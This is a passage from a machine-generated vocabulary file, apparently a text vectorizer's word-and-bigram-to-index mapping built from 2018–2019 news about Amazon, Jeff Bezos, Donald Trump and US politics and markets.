187757, "party services": 187758, "michael kovrig": 187759, "steals": 187760, "defendants include": 187761, "strong organic": 187762, "litmus": 187763, "inspire public": 187764, "wisconsin residents": 187765, "misfire": 187766, "645 988": 187767, "gives speech": 187768, "dr": 187769, "alter checks": 187770, "scalise": 187771, "paralysed": 187772, "benghazi": 187773, "large firms": 187774, "victory capital": 187775, "rising rates": 187776, "residents tourists": 187777, "1075": 187778, "post edition": 187779, "bursts": 187780, "assertiveness": 187781, "immediately turned": 187782, "recently president": 187783, "emotional issues": 187784, "selling mean": 187785, "illegal usurpation": 187786, "leveling": 187787, "employees hands": 187788, "faced stiff": 187789, "nearly 178": 187790, "positive things": 187791, "tv ratings": 187792, "sears led": 187793, "mario diaz": 187794, "pledged us400": 187795, "clear accountability": 187796, "require asign": 187797, "received significant": 187798, "choksi": 187799, "jeanne whalen": 187800, "campaigners shareholders": 187801, "clapper trump": 187802, "kidsfoundation": 187803, "politicians prompted": 187804, "club curry": 187805, "says wasn": 187806, "noah journalist": 187807, "maddie parents": 187808, "called illegal": 187809, "oil firm": 187810, "1964 herzog": 187811, "aids virus": 187812, "bancshares": 187813, "f1 horscic": 187814, "offerup smartsheet": 187815, "mid 2015": 187816, "sanchez": 187817, "strategist": 187818, "politically fraught": 187819, "viglasky": 187820, "langford lucy": 187821, "325": 187822, "transform beijing": 187823, "murdering babies": 187824, "fan james": 187825, "hulls menthol": 187826, "gorsuch cast": 187827, "fictional epic": 187828, "fair taxes": 187829, "target partly": 187830, "apparel": 187831, "york consultants": 187832, "hospital viniar": 187833, "dems win": 187834, "fact specify": 187835, "breaking trump": 187836, "issue consumers": 187837, "growing families": 187838, "rebny": 187839, "145 george": 187840, "cortez did": 187841, "service decision": 187842, "fact contributions": 187843, "rep peter": 187844, "raped": 187845, "year spokeswoman": 187846, "persistently": 187847, "faced tough": 187848, "model thinly": 187849, "slogan make": 187850, "equally strange": 187851, "defeat details": 187852, "miranda ollstein": 187853, "bezos longterm": 187854, "binging": 187855, "sector": 187856, "precarity amazon": 187857, "called small": 187858, "house counsel": 187859, "amazing network": 187860, "uncovered": 187861, "meeting aws": 187862, "presidency winter": 187863, "surveillance tech": 187864, "construction emily": 187865, "numbers 951": 187866, "unrelenting investigation": 187867, "power steering": 187868, "incentives maybe": 187869, "funneled money": 187870, "sessions stands": 187871, "times square": 187872, "threw amazon": 187873, "irrational": 187874, "tutor": 187875, "deletion": 187876, "twohour": 187877, "blocking trump": 187878, "basically lost": 187879, "transport pace": 187880, "varex imaging": 187881, "couldn befall": 187882, "israeli": 187883, "consider tariffs": 187884, "campaign stump": 187885, "company jeff": 187886, "pawlenty": 187887, "promising potentially": 187888, "price overt": 187889, "wrong reloading": 187890, "victory amazon": 187891, "cook cbs": 187892, "albany ap": 187893, "mackenzie won": 187894, "major public": 187895, "adp national": 187896, "democratic controlled": 187897, "jeanine": 187898, "legally vulnerable": 187899, "final value": 187900, "known mental": 187901, "assembly senate": 187902, "adults immigration": 187903, "income households": 187904, "considering powell": 187905, "expensive ooey": 187906, "senator gardner": 187907, "nest actually": 187908, "giovanni tria": 187909, "kicker facebook": 187910, "1539102369": 187911, "welker": 187912, "national wage": 187913, "original amazongo": 187914, "process thankfully": 187915, "hideous": 187916, "bothsides": 187917, "universal trump": 187918, "soon image": 187919, "acceptable risk": 187920, "tech sector": 187921, "center ron": 187922, "growth spurt": 187923, "amazon current": 187924, "toxic levels": 187925, "varma told": 187926, "grass root": 187927, "divorce saga": 187928, "request doubling": 187929, "38m reports": 187930, "comprehensive collection": 187931, "newspeak": 187932, "pass uncovered": 187933, "nyse brk": 187934, "nuclear proliferation": 187935, "jobs pointing": 187936, "whichever party": 187937, "graduate founded": 187938, "inslee": 187939, "political donor": 187940, "nafta replacement": 187941, "certain products": 187942, "say lean": 187943, "democrats read": 187944, "widely rumored": 187945, "carolina deputy": 187946, "trump opponents": 187947, "orleans setting": 187948, "daily fix": 187949, "items expressing": 187950, "journal reported": 187951, "time low": 187952, "antitrust sherman": 187953, "structural": 187954, "nov employees": 187955, "good tale": 187956, "head tech": 187957, "particularly pronounced": 187958, "response calls": 187959, "apple original": 187960, "follows": 187961, "chenoweth": 187962, "pecker immunity": 187963, "suspended urban": 187964, "larcker professor": 187965, "nonverbal": 187966, "intelligence operative": 187967, "refuses": 187968, "indexes closed": 187969, "include bonuses": 187970, "groceries fortune": 187971, "granted ivanka": 187972, "cabo just": 187973, "sourcefoursquare": 187974, "competitor facebook": 187975, "directed": 187976, "convention says": 187977, "fedex downplays": 187978, "nominated producer": 187979, "sent flurry": 187980, "battleground": 187981, "called aris": 187982, "dawkins": 187983, "small tomato": 187984, "long tried": 187985, "investment partnership": 187986, "marketwatch cloud": 187987, "london time": 187988, "relationship closer": 187989, "meaningfully utilized": 187990, "seizures comas": 187991, "200 followers": 187992, "amazon teams": 187993, "congress nears": 187994, "biore": 187995, "morning took": 187996, "act ndaa": 187997, "prisoner": 187998, "direction trump": 187999, "soulful upbringing": 188000, "effective medium": 188001, "ships": 188002, "run small": 188003, "inc_feature_image_override_position null": 188004, "collecting commissions": 188005, "absolutely exploited": 188006, "wyoming tribune": 188007, "company financially": 188008, "rep goodlatte": 188009, "slowing gms": 188010, "ended 2018": 188011, "magazine nymag": 188012, "deal backed": 188013, "sets trump": 188014, "largest grocery": 188015, "2015 total": 188016, "officials stressed": 188017, "stiffs": 188018, "fox 2000": 188019, "summit aims": 188020, "currently crammed": 188021, "travel habits": 188022, "include yelp": 188023, "expect fourth": 188024, "vibrant commercial": 188025, "service billion": 188026, "york city20": 188027, "david briley": 188028, "require enterprise": 188029, "valuable companies": 188030, "foreign domicile": 188031, "massive profit": 188032, "accuser referred": 188033, "employees issued": 188034, "repetitive criticism": 188035, "mandating": 188036, "article donald": 188037, "disputing": 188038, "polish": 188039, "parental leave": 188040, "christian group": 188041, "report begin": 188042, "azure government": 188043, "wide hinged": 188044, "operation desert": 188045, "vendor appears": 188046, "provider oracle": 188047, "walgreens boots": 188048, "house convened": 188049, "asked followers": 188050, "tabulating votes": 188051, "roastery nyc": 188052, "coveted destination": 188053, "printed": 188054, "pastel dj": 188055, "beautiful letters": 188056, "leve amazon": 188057, "example google": 188058, "garofalo writes": 188059, "term bearish": 188060, "sauron did": 188061, "father fred": 188062, "apprenticeships": 188063, "zeile talks": 188064, "interviews spicer": 188065, "dizzy": 188066, "fost": 188067, "marion street": 188068, "deploys face": 188069, "protect donald": 188070, "novelties exclusively": 188071, "street reason": 188072, "pounds million": 188073, "princeton university": 188074, "giving billions": 188075, "new report": 188076, "week count": 188077, "buzz saw": 188078, "right movement": 188079, "pjnet maga": 188080, "growing fintech": 188081, "energy consultant": 188082, "articles starboard": 188083, "bootlegs run": 188084, "objected": 188085, "commandeering air": 188086, "contracts amazon": 188087, "recent posts": 188088, "vegetation": 188089, "trump slogans": 188090, "increasing long": 188091, "squeezing suppliers": 188092, "upended embedded": 188093, "term vendor": 188094, "arrogant": 188095, "heckled": 188096, "exchanged bezos": 188097, "turns aggressive": 188098, "parents improve": 188099, "scam shipping": 188100, "amazon pr": 188101, "damon manchester": 188102, "greater flaws": 188103, "rourke told": 188104, "competitors including": 188105, "freighter operations": 188106, "elstree": 188107, "infrastructures": 188108, "hale": 188109, "took hit": 188110, "equipment company": 188111, "returning results": 188112, "office representative": 188113, "saocom 1a": 188114, "aggression mtp": 188115, "commission certifies": 188116, "slim earned": 188117, "habits": 188118, "clima salles": 188119, "bezos passive": 188120, "return fox": 188121, "\u0142111million percentage": 188122, "accounts twitter": 188123, "schwab daughter": 188124, "yesterday alana": 188125, "rosenberger director": 188126, "grizzlies woes": 188127, "negatively sloped": 188128, "tenure": 188129, "mattmackowiak": 188130, "growing chinese": 188131, "expert findings": 188132, "employee ranks": 188133, "nosedive 2018": 188134, "lost lawsuit": 188135, "analyst ruins": 188136, "trump signaled": 188137, "emarketer doesn": 188138, "smart tech": 188139, "report recommends": 188140, "year read": 188141, "chinas": 188142, "national interests": 188143, "make 20america": 188144, "ousting": 188145, "sketch titled": 188146, "want higher": 188147, "behalf post": 188148, "moz seattle": 188149, "value stocks": 188150, "new studies": 188151, "price structure": 188152, "mornings check": 188153, "including convenience": 188154, "level government": 188155, "monopoly government": 188156, "spokeswoman ruchika": 188157, "editors loved": 188158, "taken": 188159, "settings lees": 188160, "news 17009396": 188161, "harder": 188162, "lower paying": 188163, "provide steady": 188164, "downstate": 188165, "losing nyt": 188166, "today according": 188167, "hello dolly": 188168, "price used": 188169, "retail titan": 188170, "2019 today": 188171, "say": 188172, "jpg 300x520": 188173, "amazon reached": 188174, "baying": 188175, "delayed hearing": 188176, "sold lot": 188177, "destroying thousands": 188178, "2013 vowed": 188179, "jour": 188180, "post suggesting": 188181, "duffy": 188182, "aluminum ironically": 188183, "cortez ny": 188184, "handling amazon": 188185, "lusting": 188186, "guys help": 188187, "copied snapchat": 188188, "limited gearing": 188189, "past sanchez": 188190, "ruling trump": 188191, "switzerland warmer": 188192, "hour commute": 188193, "enslaved": 188194, "usual sordid": 188195, "cds widens": 188196, "pending maelstrom": 188197, "wax": 188198, "425 000": 188199, "year topped": 188200, "2018 white": 188201, "misleadingly written": 188202, "create technology": 188203, "tax freedom": 188204, "leslie moonves": 188205, "taxpayer cronyism": 188206, "summer reading": 188207, "mccarthy miller": 188208, "free right": 188209, "economics things": 188210, "browser plug": 188211, "way victim": 188212, "technical expertise": 188213, "selling season": 188214, "proud restaurant": 188215, "america historic": 188216, "need changes": 188217, "msm outlets": 188218, "platforms cloud": 188219, "magnificent bastard": 188220, "field city": 188221, "video warning": 188222, "travelhost elite": 188223, "inconsistent approach": 188224, "relatively calm": 188225, "companies cash": 188226, "actor california": 188227, "carolina told": 188228, "headphones black": 188229, "munster floated": 188230, "casual restaurants": 188231, "jacket soldier": 188232, "incomprehensibly": 188233, "sens josh": 188234, "limit indigenous": 188235, "garcia marketwatch": 188236, "red tide": 188237, "past washington": 188238, "veracity": 188239, "buy love": 188240, "left unchallenged": 188241, "lasser estimated": 188242, "cancellation occurred": 188243, "explores family": 188244, "boston business": 188245, "kavanaugh iconimageurl": 188246, "recently granting": 188247, "commentators diamond": 188248, "cop probe": 188249, "ag whitaker": 188250, "selling lot": 188251, "play means": 188252, "city location": 188253, "libey": 188254, "logistics transportation": 188255, "main action": 188256, "promotions null": 188257, "essentially promotional": 188258, "title character": 188259, "allegations baseless": 188260, "patil": 188261, "unknown sarah": 188262, "amplify online": 188263, "incompetent president": 188264, "kelly sex": 188265, "bezos complies": 188266, "trump price": 188267, "morrison": 188268, "published magazine": 188269, "fb makes": 188270, "efficiencies fortune": 188271, "database services": 188272, "yield incredible": 188273, "mid 2019": 188274, "uphill battle": 188275, "organisations focussed": 188276, "best rain": 188277, "decreased wages": 188278, "factcheck org": 188279, "anzalone": 188280, "scary shows": 188281, "men cheated": 188282, "grew year": 188283, "apg asset": 188284, "presidential primaries": 188285, "690": 188286, "daughter posted": 188287, "appropriately anti": 188288, "plea deal": 188289, "american civil": 188290, "sentiment showed": 188291, "vibrams meld": 188292, "spot": 188293, "travel demands": 188294, "department ethics": 188295, "shopper physical": 188296, "testify tomorrow": 188297, "5bn fine": 188298, "pampers": 188299, "raising postal": 188300, "amazon investor": 188301, "upward revised": 188302, "underpricing": 188303, "baptist pastor": 188304, "includes wait": 188305, "showname jquery": 188306, "neotrope": 188307, "tjx lowe": 188308, "presidential task": 188309, "remote amazon": 188310, "gold agold": 188311, "lightweight wheels": 188312, "infusions combined": 188313, "218 000": 188314, "disagreeing": 188315, "pee": 188316, "utter": 188317, "press cocktail": 188318, "trend needs": 188319, "criticism additionally": 188320, "cohen essential": 188321, "brandview null": 188322, "equality collectively": 188323, "workers involved": 188324, "proven": 188325, "rail crossing": 188326, "presidential accusations": 188327, "grace best": 188328, "cleveland growing": 188329, "life greer": 188330, "meaningfully higher": 188331, "gl": 188332, "strategy worked": 188333, "771 398": 188334, "chapel": 188335, "story gothamist": 188336, "stakeholders amazon": 188337, "commondreams": 188338, "14pm": 188339, "nip potential": 188340, "bombpopday": 188341, "making wise": 188342, "haptic technology": 188343, "card numbers": 188344, "rezoning": 188345, "provoke pushback": 188346, "republicans revile": 188347, "nation magazine": 188348, "favored targets": 188349, "conservative causes": 188350, "hold near": 188351, "bezos don": 188352, "group focuses": 188353, "heated debate": 188354, "president mulled": 188355, "values methodical": 188356, "getting prenup": 188357, "held liable": 188358, "church congregation": 188359, "company earned": 188360, "darkest": 188361, "pet": 188362, "jennifer steinhauer": 188363, "wfaries": 188364, "twitterstorm lodged": 188365, "traded items": 188366, "commerce tools": 188367, "assemblywoman": 188368, "mailing": 188369, "ignition conference": 188370, "airs weekends": 188371, "sophisticated software": 188372, "waterfront sites": 188373, "action purchase": 188374, "post published": 188375, "private dinner": 188376, "saying jones": 188377, "male presence": 188378, "investor conferences": 188379, "incomes housing": 188380, "tense close": 188381, "ism": 188382, "city magas": 188383, "facilities amazon": 188384, "heeded trump": 188385, "bearish outlook": 188386, "mentioned earlier": 188387, "nations hosting": 188388, "work team": 188389, "ancestry": 188390, "twitter ambassadors": 188391, "democratic representative": 188392, "antics related": 188393, "new survey": 188394, "belongs": 188395, "post slogan": 188396, "northern": 188397, "ivory tower": 188398, "undertaken": 188399, "chelsea manning": 188400, "seal hospital": 188401, "davos switzerland": 188402, "content inspired": 188403, "repeats past": 188404, "main product": 188405, "high share": 188406, "technical performance": 188407, "blach\u00e9": 188408, "275k reported": 188409, "lynn long": 188410, "gop legislators": 188411, "cheapest surface": 188412, "fake goods": 188413, "announcement hammered": 188414, "reportedly laying": 188415, "purchasing inside": 188416, "2h18": 188417, "viral earlier": 188418, "google released": 188419, "comcast integration": 188420, "analyst reiterates": 188421, "zhenyi": 188422, "tillis panel": 188423, "faces potential": 188424, "big increase": 188425, "mnuchin urged": 188426, "carlson conservative": 188427, "factset consensus": 188428, "head significantly": 188429, "ignored basic": 188430, "national average": 188431, "influenced stocks": 188432, "family money": 188433, "amazon puzder": 188434, "refinance": 188435, "star studded": 188436, "owns chef": 188437, "multiple employees": 188438, "225 million": 188439, "amazon longtime": 188440, "officially announced": 188441, "merrick": 188442, "maxgarlandtypes": 188443, "pr stunt": 188444, "year 2021": 188445, "tabloid linked": 188446, "fund forest": 188447, "bezos karen": 188448, "year ranking": 188449, "morning saying": 188450, "failing grade": 188451, "overall oncologists": 188452, "brookline birthplace": 188453, "amazon deals": 188454, "qsrs": 188455, "tough reputation": 188456, "shutdown deeply": 188457, "parisa sadrzadeh": 188458, "witness jack": 188459, "favourable": 188460, "stem billions": 188461, "freely opted": 188462, "magazine new": 188463, "getting 789": 188464, "ultimately decides": 188465, "roberts amazon": 188466, "ihs markit": 188467, "predicto": 188468, "avenue account": 188469, "fail function": 188470, "followed tech": 188471, "true narcissists": 188472, "charging shipper": 188473, "ken rogoff": 188474, "hill tv": 188475, "story white": 188476, "little evidence": 188477, "amazon year": 188478, "references israel": 188479, "trump selection": 188480, "smoke lingering": 188481, "dense fog": 188482, "ama thread": 188483, "cutting ceremony": 188484, "aired exchange": 188485, "longtime post": 188486, "margin stocks": 188487, "pre announcements": 188488, "security breach": 188489, "wazoo": 188490, "began blasting": 188491, "2003 did": 188492, "state department": 188493, "teenage boys": 188494, "strout": 188495, "orders alex": 188496, "shmuley boteach": 188497, "trump describes": 188498, "somewhat conservative": 188499, "controllable": 188500, "movement leaders": 188501, "indifferent": 188502, "lwf7i1ijpi new": 188503, "general meeting": 188504, "comment mackenzie": 188505, "cia did": 188506, "hesitate": 188507, "tactics fall": 188508, "payments reuters": 188509, "wealth western": 188510, "trump appears": 188511, "hurt rebuilding": 188512, "says nested": 188513, "approaches billion": 188514, "foodways providing": 188515, "required amazon": 188516, "extremely grateful": 188517, "youtube funke": 188518, "breathe amazon": 188519, "feminist activists": 188520, "williams moratorium": 188521, "cash carried": 188522, "counterpunch": 188523, "memphis tenn": 188524, "transparent way": 188525, "plath": 188526, "woodstock ala": 188527, "vietor tvietor08": 188528, "money shipping": 188529, "theories michael": 188530, "hire large": 188531, "new poll": 188532, "dominant firms": 188533, "criticism president": 188534, "shale industry": 188535, "reported publisher": 188536, "wouldn count": 188537, "earn amazon": 188538, "fissures appeared": 188539, "provided billion": 188540, "theft hastening": 188541, "baby cows": 188542, "kow towing": 188543, "election according": 188544, "french business": 188545, "obstruct": 188546, "nickname calling": 188547, "activists inventors": 188548, "vietnam chief": 188549, "ruthless business": 188550, "potential insurance": 188551, "recent bankruptcies": 188552, "small slice": 188553, "obama facilitated": 188554, "massive amounts": 188555, "whitesell dropped": 188556, "senior counselor": 188557, "single mother": 188558, "just great": 188559, "daily diet": 188560, "explained unless": 188561, "amazon logistic": 188562, "town park": 188563, "business fedex": 188564, "key position": 188565, "business outlook": 188566, "sales trickling": 188567, "invests big": 188568, "trump according": 188569, "cue amazon": 188570, "quickly dropped": 188571, "islands corruption": 188572, "authority facebook": 188573, "way way": 188574, "macdonald travels": 188575, "kilo": 188576, "cramer announced": 188577, "calatrello": 188578, "markets traders": 188579, "easily exceed": 188580, "machine jedi": 188581, "signatory": 188582, "leaders dump": 188583, "shop bezos": 188584, "political appointees": 188585, "officer bolsonaro": 188586, "digital profile": 188587, "threatened amazon": 188588, "company moves": 188589, "thedonman1": 188590, "suffe police": 188591, "llc aims": 188592, "costs resulting": 188593, "temporary protection": 188594, "anniversary dimmed": 188595, "holiday promotional": 188596, "arnett": 188597, "program known": 188598, "essentially accusing": 188599, "squid": 188600, "politicians cemented": 188601, "companies reported": 188602, "subscribers bring": 188603, "plan understand": 188604, "year event": 188605, "clearly changed": 188606, "wealthtrust axiom": 188607, "alabama inmate": 188608, "boasts plenty": 188609, "adult balzer": 188610, "webcast": 188611, "perverted": 188612, "home commerce": 188613, "tech names": 188614, "agency feed": 188615, "fundamentals supporting": 188616, "preschool amazon": 188617, "short farmers": 188618, "detection tries": 188619, "antitrust situation": 188620, "rl": 188621, "night senior": 188622, "sierra": 188623, "emmys spoiler": 188624, "information russell": 188625, "deal beijing": 188626, "college admissions": 188627, "company proclaimed": 188628, "best opening": 188629, "nokia": 188630, "single women": 188631, "texas politician": 188632, "welcome media": 188633, "newsbuzz": 188634, "unfairly skewed": 188635, "secdef mattis": 188636, "delight": 188637, "prevention cdc": 188638, "happened jim": 188639, "post believes": 188640, "reached record": 188641, "report bob": 188642, "computing companies": 188643, "cap smithsonian": 188644, "test dem": 188645, "anderson tepper": 188646, "deputy editorial": 188647, "today places": 188648, "owlprevitem showdetailsspancontent": 188649, "know jeff": 188650, "tiny house": 188651, "leased dozens": 188652, "576": 188653, "materials hard": 188654, "course denies": 188655, "agreements expires": 188656, "grave moral": 188657, "saying think": 188658, "industry likewise": 188659, "rock don": 188660, "hbo illustrate": 188661, "underpin": 188662, "car computer": 188663, "mayor governor": 188664, "dump major": 188665, "moribund": 188666, "contribute panic": 188667, "orange wool": 188668, "overpay": 188669, "finance access": 188670, "x3": 188671, "consumption standards": 188672, "bigot newspapers": 188673, "political purposes": 188674, "expects amazon": 188675, "lgbt issues": 188676, "nasdaq check": 188677, "nondocumentary": 188678, "crisis counselors": 188679, "aluminum": 188680, "liberal national": 188681, "big picture": 188682, "service feel": 188683, "offline centric": 188684, "really life": 188685, "prices roughly": 188686, "mail amazon": 188687, "supporters want": 188688, "kingdom starring": 188689, "time particularly": 188690, "measly": 188691, "conservative democrat": 188692, "wienerschnitzel": 188693, "stride forward": 188694, "hardware modifications": 188695, "running afoul": 188696, "grimly": 188697, "superjumbo a380": 188698, "combat": 188699, "dna results": 188700, "design terms": 188701, "woodward read": 188702, "releases proposed": 188703, "sulllivan": 188704, "taste seeing": 188705, "expanded": 188706, "bay death": 188707, "tubi": 188708, "expected cost": 188709, "net resources": 188710, "purchase just": 188711, "issues affecting": 188712, "min js": 188713, "earnings helped": 188714, "government retaliates": 188715, "don moynihan": 188716, "community connect": 188717, "challenges fear": 188718, "did google": 188719, "ghabour": 188720, "emails included": 188721, "book company": 188722, "answer users": 188723, "logistics autonomous": 188724, "zealand mosque": 188725, "free competition": 188726, "reuters pieters": 188727, "marketfoolery host": 188728, "officer data": 188729, "product companies": 188730, "taking share": 188731, "latest economic": 188732, "wealthy mackenzie": 188733, "regime crackdown": 188734, "nicked": 188735, "judiciary advances": 188736, "theverge": 188737, "analytica falls": 188738, "company blaming": 188739, "brothers charles": 188740, "service firm": 188741, "largest multinational": 188742, "potentially amazon": 188743, "congress 960799": 188744, "staff toil": 188745, "okta": 188746, "america deportation": 188747, "justice anthony": 188748, "center plans": 188749, "protest": 188750, "vine questions": 188751, "hyung": 188752, "prevailed right": 188753, "700 mhz": 188754, "sessions shakes": 188755, "schwartzman cattle": 188756, "britain amazon": 188757, "amazon gain": 188758, "000 obama": 188759, "air mnuchin": 188760, "futures indicating": 188761, "effect earlier": 188762, "lifelong green": 188763, "real narrative": 188764, "gop presidents": 188765, "retailers according": 188766, "disregard": 188767, "nation plantation": 188768, "eclipse 150": 188769, "alert investigation": 188770, "dennis alfre": 188771, "iran labor": 188772, "u2x n8": 188773, "leelarmand": 188774, "relationship particularly": 188775, "government spokesman": 188776, "general chaos": 188777, "healthy debate": 188778, "dent roku": 188779, "somewhat different": 188780, "8700": 188781, "dark fiber": 188782, "reading tweet": 188783, "writes chris": 188784, "google selling": 188785, "vegas contributed": 188786, "support raging": 188787, "story mexican": 188788, "plastic power": 188789, "diminutive loan": 188790, "day isn": 188791, "nubai ventures": 188792, "tense struggle": 188793, "treatise amazon": 188794, "positive contribution": 188795, "india regulators": 188796, "pymnts": 188797, "cause confusion": 188798, "bloomberg sinclair": 188799, "musk chicago": 188800, "translating": 188801, "contributor fanh": 188802, "abby": 188803, "nepal nipple": 188804, "2018 wrote": 188805, "dysfunctional family": 188806, "reallocate": 188807, "consumer advocacy": 188808, "monico": 188809, "purchase quickly": 188810, "forgive": 188811, "bose": 188812, "times expose": 188813, "household shibabi": 188814, "thoma bravo": 188815, "refreshed scrutiny": 188816, "forget david": 188817, "overall view": 188818, "overall goal": 188819, "rear view": 188820, "summit donald": 188821, "munster ny": 188822, "horrors bezos": 188823, "forthcoming book": 188824, "8739 secretary": 188825, "year decade": 188826, "open second": 188827, "adding twitter": 188828, "beauty parade": 188829, "currently leases": 188830, "lighting pose": 188831, "inc_display_video_at_bottomflag": 188832, "state shippers": 188833, "warrant investigation": 188834, "worth cracked": 188835, "cp w4w": 188836, "kamhi email": 188837, "warren supporters": 188838, "barn": 188839, "swift action": 188840, "tactical_charts status": 188841, "bender": 188842, "secrets wikileak": 188843, "miami sports": 188844, "perception direction": 188845, "actress": 188846, "actual read": 188847, "know life": 188848, "robert pritchard": 188849, "minted bills": 188850, "fiscal stewardship": 188851, "controversy engulfing": 188852, "couple intimate": 188853, "tabloid including": 188854, "foods market": 188855, "related causes": 188856, "calvarin": 188857, "juice things": 188858, "european citizens": 188859, "lannisters targaryens": 188860, "environment finally": 188861, "drug induced": 188862, "customer emails": 188863, "journal read": 188864, "political lightning": 188865, "clinches eighth": 188866, "way hotter": 188867, "whitney documentary": 188868, "democrat rep": 188869, "concerned nonprofits": 188870, "nws": 188871, "including connie": 188872, "previous trump": 188873, "writing trumped": 188874, "birkenhead": 188875, "notable stories": 188876, "cudjo": 188877, "covering issues": 188878, "labs failed": 188879, "outraged supporters": 188880, "religious authorities": 188881, "cat_id 5438": 188882, "mafia nyt": 188883, "grew": 188884, "explosion": 188885, "harm": 188886, "trump democrats": 188887, "patty murray": 188888, "longstanding allies": 188889, "dossier": 188890, "fscavo": 188891, "federal conservation": 188892, "tool provides": 188893, "nearly month": 188894, "calacanis inside": 188895, "season hopefully": 188896, "connected cars": 188897, "similar tools": 188898, "trump sure": 188899, "courtroom": 188900, "sellers amid": 188901, "better terms": 188902, "company acknowledging": 188903, "letters browndailyherald": 188904, "continued tech": 188905, "columnist covering": 188906, "corroboration": 188907, "father paulo": 188908, "karate": 188909, "amazon 1316": 188910, "broke records": 188911, "country does": 188912, "peter thiel": 188913, "filed sec": 188914, "odyssey": 188915, "foreign minister": 188916, "usps hasn": 188917, "mexican president": 188918, "granted authorization": 188919, "x2x q8": 188920, "distracted jeff": 188921, "walsh editing": 188922, "michael duffy": 188923, "called blue": 188924, "public oil": 188925, "greenjob": 188926, "happy rocket": 188927, "employer portal": 188928, "trump wars": 188929, "hipsters": 188930, "nasdaq nflx": 188931, "elegant looking": 188932, "exactly happy": 188933, "filing bic": 188934, "234": 188935, "quotes reuters": 188936, "post albeit": 188937, "trade body": 188938, "insider purchase": 188939, "include worldwide": 188940, "storefronts new": 188941, "notorious market": 188942, "turned typically": 188943, "similar remarks": 188944, "legislation requiring": 188945, "environment modern": 188946, "saying product": 188947, "conservative voice": 188948, "operate communications": 188949, "beijing": 188950, "kseattleweather": 188951, "lunchtime": 188952, "removing anti": 188953, "shinzo abe": 188954, "guin": 188955, "left wing": 188956, "signal strength": 188957, "brazilian ambassador": 188958, "amazon mcdonald": 188959, "prices bring": 188960, "temperatures": 188961, "just leave": 188962, "noonan cecily": 188963, "shall understand": 188964, "inc_lock_articleflag false": 188965, "boxing day": 188966, "month free": 188967, "presidency george": 188968, "mifflin harcourt": 188969, "free directv": 188970, "svcs": 188971, "proceeding": 188972, "xetd5fpjfz": 188973, "subscription businesses": 188974, "maur\u00edcio torres": 188975, "likewise declined": 188976, "billions tornado": 188977, "near 921": 188978, "requires positive": 188979, "instantly hired": 188980, "tax dodging": 188981, "consulate armed": 188982, "hedren": 188983, "morels airs": 188984, "p2 pic": 188985, "commodities terminal": 188986, "working day": 188987, "secure slate": 188988, "secretive uk": 188989, "data title": 188990, "antitrust suits": 188991, "tech plan": 188992, "policy reassured": 188993, "small size": 188994, "included music": 188995, "e1 a4ee": 188996, "story democrats": 188997, "attorney copies": 188998, "sore spot": 188999, "safety multitude": 189000, "skirmishes": 189001, "flint water": 189002, "payments": 189003, "california camp": 189004, "newman topped": 189005, "discredited measures": 189006, "prices hit": 189007, "khan": 189008, "lisota sarah": 189009, "bristow fans": 189010, "shutdown victims": 189011, "ledqb0gdhg spectrum": 189012, "nationwide adjusting": 189013, "critical tax": 189014, "chinese warship": 189015, "fcc did": 189016, "candidate rep": 189017, "club selections": 189018, "tailwind going": 189019, "timeframe": 189020, "means aws": 189021, "lena cellular": 189022, "magnum edition": 189023, "dominating significant": 189024, "political books": 189025, "plc": 189026, "mouthpiece pompeo": 189027, "bloomingdale foto": 189028, "potent": 189029, "addictive buy": 189030, "today highly": 189031, "work tracks": 189032, "local locations": 189033, "project amazon": 189034, "look outside": 189035, "democrat carl": 189036, "relatives touches": 189037, "laments": 189038, "jos\u00e9": 189039, "decidedly lower": 189040, "need pew": 189041, "twitter tags": 189042, "popular video": 189043, "funds portfolio": 189044, "religious civil": 189045, "blanket denial": 189046, "construed": 189047, "za": 189048, "trump mail": 189049, "early industrial": 189050, "650 src": 189051, "share history": 189052, "email addresses": 189053, "wireimage": 189054, "nullify": 189055, "competiveness": 189056, "fiscal 2017": 189057, "conservative pundits": 189058, "issue": 189059, "pool photograph": 189060, "eleventh": 189061, "late 1920": 189062, "social thought": 189063, "unch canelo": 189064, "glen amazon": 189065, "europe stoltenberg": 189066, "enraged": 189067, "absolutely welcome": 189068, "4hdcot4s3w": 189069, "yorks long": 189070, "management company": 189071, "industry airlines": 189072, "regimes": 189073, "proxy contest": 189074, "img_usrid": 189075, "men walking": 189076, "poirier": 189077, "trump florida": 189078, "experience margaret": 189079, "suspicion aboutpeople": 189080, "strideline": 189081, "choi provided": 189082, "eliminating waste": 189083, "analyze images": 189084, "new boyfriend": 189085, "distinguish": 189086, "2019 dan": 189087, "business climate": 189088, "administration soon": 189089, "va injecting": 189090, "higher fuel": 189091, "years controlled": 189092, "ivanka life": 189093, "trump running": 189094, "democratic enthusiasm": 189095, "street divided": 189096, "jedi bloomberg": 189097, "agencys risk": 189098, "mahoning county": 189099, "year citing": 189100, "negotiated": 189101, "used free": 189102, "encompasses": 189103, "fake cancer": 189104, "common knowledge": 189105, "poor schools": 189106, "controversial republican": 189107, "albeit insignificant": 189108, "nbr": 189109, "added mean": 189110, "competitive housing": 189111, "fold amazon": 189112, "101st street": 189113, "dealsub": 189114, "designated": 189115, "star 2009": 189116, "reports claim": 189117, "killing meantime": 189118, "stanley black": 189119, "head man": 189120, "box coated": 189121, "cnn breaking": 189122, "overshadowing": 189123, "ap\u00e9ritif": 189124, "ahead love": 189125, "firm paid": 189126, "radical funny": 189127, "2017 blessed": 189128, "agency saying": 189129, "inssurance": 189130, "major health": 189131, "mag": 189132, "wishing": 189133, "audience bezos": 189134, "parents friends": 189135, "donut right": 189136, "income earning": 189137, "brand relevant": 189138, "vanderwerff": 189139, "pape": 189140, "facilities new": 189141, "tabloid followed": 189142, "britain secretary": 189143, "supported amazon": 189144, "based socks": 189145, "faces discipline": 189146, "edf senior": 189147, "steckelberg": 189148, "constant outrage": 189149, "issues worse": 189150, "s9_acss_bw_cg_amzbooks_1a1_w": 189151, "soon forget": 189152, "sachs bankers": 189153, "partisan teaching": 189154, "bebeto matthews": 189155, "nosing": 189156, "specifically advise": 189157, "vaccinations": 189158, "liberal editorial": 189159, "boost wages": 189160, "0900et copyright": 189161, "purchase political": 189162, "care produced": 189163, "prices lately": 189164, "amazon favor": 189165, "celebrity drop": 189166, "detained migrant": 189167, "reactions dear": 189168, "combat facebook": 189169, "government halt": 189170, "irreparable damage": 189171, "densely populated": 189172, "city waterfront": 189173, "book title": 189174, "insurers cover": 189175, "extraordinary sycophancy": 189176, "amazon davis": 189177, "turkish intelligence": 189178, "amateur psychoanalysts": 189179, "man oushe": 189180, "nafta countries": 189181, "mastercard reach": 189182, "issued tweets": 189183, "kengor executive": 189184, 